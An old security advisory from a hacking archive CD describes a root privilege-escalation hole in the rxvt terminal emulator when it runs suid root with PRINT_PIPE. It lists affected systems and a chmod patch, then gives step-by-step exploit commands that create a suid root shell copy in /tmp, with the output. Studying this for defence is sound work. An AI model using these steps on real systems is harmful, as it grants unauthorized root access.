home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_rx.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  2.2 KB  |  49 lines

  1.  
  2.    There is a major security hole in rxvt, a terminal emulator for X, when it
  3. is run on systems suid root, as is required on many configurations in order to
  4. write to the utmp file.  It is obvious from the code that this program was
  5. not written to be run suid root, its a pity that sysadmins that install the
  6. compiled versions of this sort of code don't see the same warnings of 'run
  7. suid root at your own risk' that the people that put together a distribution
  8. with it that way see in the makefile.
  9.    The conditions that allow this particular hole to be exploited is rxvt
  10. compiled with the PRINT_PIPE option, and is running suid root.  The program
  11. sets the pipe to "lpr", without a pathname, but its even easier than that
  12. to exploit because we can set the pipe to whatever we want with the -print-pipe
  13. option on the rxvt command line.  Although the programs gives up its root
  14. privileges when forking to runn a shell or other command, the original program
  15. continues running suid root the entire execution of the program.
  16.    Because the popen() call runs as root, whatever program that pipe opens
  17. will execute immediately as root.  In order to start the printer pipe, the
  18. vt100 printer-on command is ESC[5i.  The pipe can then be closed with the
  19. printer-off commad, ESC[4i.  Exploiting this is extremely easy.
  20.  
  21.                    Program: rxvt
  22. Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
  23.                             rxvt suid root (and compiled with PRINT_PIPE)
  24.               Requirements: account on system, X server
  25.            Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
  26.        Security Compromise: root
  27.                     Author: Dave M. (davem@cmu.edu)
  28.                   Synopsis: rxvt fails to give up root privileges before
  29.                             opening a pipe to a program that can be specified
  30.                             by the user.
  31.  
  32.  
  33. Exploit:
  34. 1.  Set DISPLAY environment variable if necessary so you can use x clients.
  35. 2.  In user shell:
  36.     $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
  37.     $ chmod +x /tmp/rxbug
  38.     $ rxvt -print-pipe /tmp/rxbug
  39. 3.  In rxvt xclient:
  40.     $ cat
  41.       ESC[5i
  42.       ESC[4i
  43.     (The client will close at this point with a broken pipe)
  44. 4.  $ /tmp/rxsh
  45.     # whoami
  46.     root
  47.     #
  48.  
  49.